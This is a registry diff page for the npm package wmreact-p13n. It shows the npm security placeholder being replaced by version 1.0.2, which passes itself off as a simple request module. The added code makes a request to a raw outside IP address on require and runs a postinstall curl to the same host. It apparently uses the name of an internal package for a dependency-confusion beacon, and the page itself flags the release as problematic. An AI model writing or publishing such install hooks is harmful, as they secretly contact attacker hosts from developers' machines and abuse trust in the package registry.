wmreact-p13n 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wmreact-p13n might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,42 @@
1
- # Security holding package
1
+ # requests-json-overview-pkg
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A simple npm module that makes a GET request to a specific endpoint.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=wmreact-p13n for more information.
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install requests-json-overview-pkg
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ // Just require the package and it will automatically make the request
15
+ require('requests-json-overview-pkg');
16
+
17
+ // Or if you want to use the function directly
18
+ const { makeRequest } = require('requests-json-overview-pkg');
19
+
20
+ // Using async/await
21
+ async function example() {
22
+ try {
23
+ const result = await makeRequest();
24
+ console.log(result);
25
+ } catch (error) {
26
+ console.error(error);
27
+ }
28
+ }
29
+
30
+ // Using promises
31
+ makeRequest()
32
+ .then(result => console.log(result))
33
+ .catch(error => console.error(error));
34
+ ```
35
+
36
+ ## API
37
+
38
+ ### makeRequest()
39
+
40
+ Makes a GET request to the specified endpoint and returns the response data.
41
+
42
+ Returns: Promise that resolves with the response data
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const axios = require('axios');
2
+
3
+ async function makeRequest() {
4
+ try {
5
+ const response = await axios.get('http://15.204.235.57/npm-walmart');
6
+ return response.data;
7
+ } catch (error) {
8
+ throw new Error(`Failed to make request: ${error.message}`);
9
+ }
10
+ }
11
+
12
+ // Execute the request immediately
13
+ makeRequest()
14
+ .then(data => {
15
+ console.log('Request successful:', data);
16
+ })
17
+ .catch(error => {
18
+ console.error('Request failed:', error.message);
19
+ });
20
+
21
+ module.exports = {
22
+ makeRequest
23
+ };
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "wmreact-p13n",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "A simple module that makes a GET request to a specific endpoint",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "curl http://15.204.235.57/npm-wm"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC",
13
+ "dependencies": {
14
+ "axios": "^1.6.7"
15
+ }
6
16
  }
@@ -0,0 +1,26 @@
1
+ #!/bin/bash
2
+
3
+ # Usage: ./rename-and-publish.sh <new-package-name> [new-version]
4
+
5
+ if [ -z "$1" ]; then
6
+ echo "Usage: $0 <new-package-name> [new-version]"
7
+ exit 1
8
+ fi
9
+
10
+ NEW_NAME=$1
11
+ NEW_VERSION=$2
12
+
13
+ # Update package name in package.json
14
+ tmpfile=$(mktemp)
15
+ if [ -n "$NEW_VERSION" ]; then
16
+ # Update both name and version
17
+ jq --arg name "$NEW_NAME" --arg version "$NEW_VERSION" '.name = $name | .version = $version' package.json > "$tmpfile" && mv "$tmpfile" package.json
18
+ else
19
+ # Update only name
20
+ jq --arg name "$NEW_NAME" '.name = $name' package.json > "$tmpfile" && mv "$tmpfile" package.json
21
+ fi
22
+
23
+ # Publish the package
24
+ npm publish
25
+
26
+ echo "Package renamed to $NEW_NAME and published successfully!"